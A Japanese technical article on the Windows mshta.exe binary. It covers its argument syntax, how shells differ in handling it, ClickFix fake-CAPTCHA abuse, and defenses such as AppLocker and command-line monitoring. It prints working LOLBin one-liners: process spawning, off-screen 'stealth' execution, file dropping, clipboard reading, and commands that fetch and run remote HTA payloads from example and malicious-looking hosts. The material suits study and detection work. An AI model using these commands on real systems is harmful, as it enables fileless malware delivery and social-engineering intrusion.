last_modified: 2026-01-08
1. はじめに
mshta.exe は HTML Application(HTA)を実行する Windows の正規コンポーネントである。.hta ファイルをホストするほか、CLI 引数として URL・インラインスクリプト(javascript: / vbscript:)を受け取り、その内容を MSHTML(Trident)で評価する。mshta を理解するには、**「mshta 自体の仕様」と「それをどのシェル(cmd.exe / PowerShell / Run ダイアログ)から呼ぶか」**の二層を分けて考えることが重要である。
2. mshta の基本的な役割と実行権限
- HTA ホスト:HTML/CSS/スクリプトで記述されたアプリケーションを実行する。
- COM 連携:
ActiveXObject/CreateObject経由でWScript.Shell、Scripting.FileSystemObjectなどへアクセス可能。 - セキュリティモデル:mshta で評価されるスクリプトは IE の Internet Zone の制約を受けず、実行ユーザー権限で動作する。したがってファイル操作やプロセス生成が可能であり、これが管理用途の利点である一方、悪用のリスクも生じる。
3. 実行モデルと構文パターン(整理)
mshta が受け付ける主要な引数パターン:
- ローカル
.htaファイルのパスmshta C:\path\to\app.hta - HTTP/HTTPS URL(リモートロード)
※ (注)URL を渡す場合はダブルクォートで囲むと安全。mshta "https://example.com/payload.hta" - インラインスクリプト(スキーム指定)
mshta "javascript:alert('hello');window.close();" mshta "vbscript:Execute(""MsgBox Hello : Close"")"
注意:mshta は引数を URL として解釈するため、渡される文字列は本質的に「1 行の URL」である必要がある。改行や複雑な改変を含めると解釈不能になる。
4. シェル別の挙動差(必読)
mshta 自体の仕様は一定だが、呼び出し側シェルが引数をどのように処理するかで実用性が大きく変わる。
| 呼び出し元 | 動作傾向 | 備考 |
|---|---|---|
| cmd.exe | 高い再現性 | 簡潔なワンライナーや URL 指定が安定して動く。 |
| Win+R (Run) | 高い再現性 | 入力文字列が直接 ShellExecute に渡るため、エスケープ問題が少ない。 |
| PowerShell | 低い再現性 | PowerShell のパーサが引数を解釈し、引用や改行で壊れやすい。(重要:PowerShell 直打ちの例は多くがそのまま動かない) |
結論:実例・実験を行う際は、まず cmd.exe または Win+R での動作を確認すること。
5. CLI 実行例(修正版・再現性を担保したもの)
以下は cmd.exe / Win+R を前提にした実行例。PowerShell で実行する場合は後述の「PowerShell 実行時の注意」を参照。
Level 1 — Hello (VBScript via CLI)
mshta vbscript:Execute("MsgBox ""Hello from CLI"",64,""MSHTA Test"":Close")
(修正注)以前の稿での引用が壊れていた箇所を修正しました:Execute の中で二重ダブルクォート "" を用いる点に注意。
Level 2 — 子プロセス生成(calc.exe)
mshta "javascript:var sh=new ActiveXObject('WScript.Shell');sh.Run('calc.exe');window.close();"
このワンライナーは cmd.exe で安定して動作する。
Level 3 — ステルス実行(画面外移動 + ファイル書き込み)
mshta "javascript:window.moveTo(-2000,-2000);var sh=new ActiveXObject('WScript.Shell');sh.Run('cmd /c echo Stealth Mode > %TEMP%\stealth_test.txt');window.close();"
(修正注)PowerShell では %TEMP% の展開が期待通り行かないため、PowerShell から呼ぶ場合は $env:TEMP で事前展開する必要がある。
Level 4 — ファイル作成(ドロッパー動作の簡易例)
mshta "javascript:var fso=new ActiveXObject('Scripting.FileSystemObject');var f=fso.CreateTextFile('C:\Windows\Temp\mshta_drop.txt',true);f.Write('Dropped via CLI');f.Close();window.close();"
Level 5 — クリップボード参照
mshta "javascript:var content=clipboardData.getData('Text');alert('Clipboard: ' + content);window.close();"
(修正注)clipboardData はコンテキスト依存で動作が異なる。環境により利用できない場合がある。
6. PowerShell での実行:現実的な注意点
PowerShell は独自のクォート規則と文字列処理を行うため、mshta にワンライナーを正しく渡すのが難しい。代表的な実行手法と注意:
A. Start-Process を使う(比較的安全)
Start-Process mshta -ArgumentList 'javascript:alert("From PowerShell via Start-Process");window.close();'
(注)ArgumentList に単一の文字列を渡す場合でも、内部の引用・特殊文字に注意。長いスクリプトはファイル化して実行するのが確実。
B. 一時 HTA ファイルを作成して実行する(推奨)
$hta = @'
<html><head><hta:application id="app" /></head><body><script>
var sh=new ActiveXObject("WScript.Shell");
sh.Run("notepad.exe");
window.close();
</script></body></html>
'@
$path = "$env:TEMP emp_demo.hta"
Set-Content -Path $path -Value $hta -Encoding ASCII
Start-Process mshta -ArgumentList $path
この方法は可読性と再現性が高く、PowerShell と mshta の間のエスケープ問題を回避する。
7. URL 直接実行(Fileless 実行の観察)
mshta "https://example.com/payload.hta"
- mshta は内部で URLMon / WinINet を用いてコンテンツを取得し MSHTML へ渡すため、リモートの HTA を直接メモリ上で評価できる。
- (注)ネットワーク経由で直接実行する場合、HTTP レスポンスヘッダや Content-Type は実装依存であるため、必ずしも拡張子に依存しない。
8. セキュリティ評価
- mshta は正規バイナリであり、LOLBins の一つとして悪用される。
- Win+R による実行は、ユーザー誘導による社会工学と組み合わさると非常に有効である(ClickFix 等の手口)。
- 検知・制御策としては AppLocker/WDAC、EDR のコマンドライン監視、.hta 関連付けの変更などが有効。
8.1 現代的な脅威:Recaptcha 偽装(ClickFix)と mshta
近年(2024-2026)、mshta.exe の「URL 直接実行機能」を悪用したソーシャルエンジニアリング攻撃が急増している。これを「ClickFix」や「Fake Captcha」と呼ぶ。
8.1.1 攻撃フローのメカニズム
偽の検証画面: Web サイト上に偽の「私はロボットではありません」画面を表示。
誘導 (Win+R -> Ctrl+V): ユーザーに Win+R を押させ、クリップボードの内容を貼り付けて実行させる。
クリップボード汚染: 攻撃用スクリプトにより、クリップボードには以下のようなコマンドがセットされている。
mshta "[https://malicious-domain.com/verify.hta](https://malicious-domain.com/verify.hta)"
8.1.2 なぜ成功するのか
Win+R (Run Dialog) の性質: Win+R ダイアログは、入力された文字列をそのまま ShellExecute に渡すため、シェル特有のエスケープ問題を回避して確実に実行される。攻撃者にとって最も都合の良い実行環境である。
信頼されたバイナリ: 正規の mshta.exe が通信を行うため、簡易的なファイアウォールルールをすり抜ける。
8.2 実務上の実用例(正当な用途)
セキュリティリスクはあるものの、GUI を伴う通知機能として有用な場合がある。
8.2.1 簡易的なユーザー通知(トーストの代替)
修正済みコード: cmd.exe で正しく動作するようにクォーテーションを修正。
mshta vbscript:Execute("MsgBox ""メンテナンスのため 10 分後に再起動します。"",48,""システム管理者"":Close")
※ 外側をダブルクォートで囲む必要はないが、メッセージ内のダブルクォートは2重 ("") にしてエスケープする必要がある。
8.2.2 クリップボード操作(レガシー互換)
パイプライン処理の中でクリップボードの中身を取得する例。
:: クリップボードの中身をコンソールに吐き出す(実際は空のウィンドウが一瞬出る)
for /f "delims=" %i in ('mshta "javascript:var x=clipboardData.getData('Text');if(x)new ActiveXObject('Scripting.FileSystemObject').GetStandardStream(1).Write(x);close();"') do @echo %i
8.3 運用上の評価と対策
8.3.1 セキュリティ評価
LOLBins リスク: mshta.exe は攻撃者による「環境寄生型攻撃」の筆頭ツールである。特に javascript: や vbscript: スキームを含む引数は監視対象とすべきである。
PowerShell からの呼び出し: powershell.exe が親プロセスとなり mshta.exe を起動する挙動は、通常の業務では稀であり、検知シグナルとして有効である。
8.3.2 技術的対策
AppLocker / WDAC: mshta.exe の実行をブロック、または特定のパス(署名された業務アプリのみ)に制限する。
関連付けの変更: .hta ファイルの関連付けを notepad.exe に変更し、ダブルクリックによる実行を防ぐ。
9. まとめ
mshta.exe は強力なツールであるが、その CLI 実行能力は「どのシェルから呼ばれるか」に強く依存する。cmd.exe や Win+R からは極めて柔軟に動作する一方、PowerShell からの利用は構文上の制約が多い。 攻撃者はこの特性を熟知し、ユーザーに直接 Win+R を操作させる手法(ClickFix)に移行している。防御側も「mshta 単体」ではなく「実行コンテキスト(親プロセスや引数)」を含めた理解が必要不可欠である。
⚠️ 警告:セキュリティと悪用について
【重要】 本記事で解説した mshta の CLI 実行技術、特に URL ローディングやインラインスクリプト実行は、現在のサイバー攻撃で実際に悪用されている手法とほとんど同一です。
これらの知識は、防御、検知ルールの作成、および正規のシステム管理のためにのみ使用してください。許可されていないシステムに対して、外部からスクリプトをロードさせる行為は、たとえ検証目的であっても不正アクセス禁止法等の法令に抵触します。
10. 参考文献
- Microsoft Learn: HTML Applications (HTA)
- MITRE ATT&CK: T1218.005 System Binary Proxy Execution: Mshta
- LOLBAS Project: Mshta.exe
- Microsoft Docs: mshta.exe - Microsoft HTML Application Host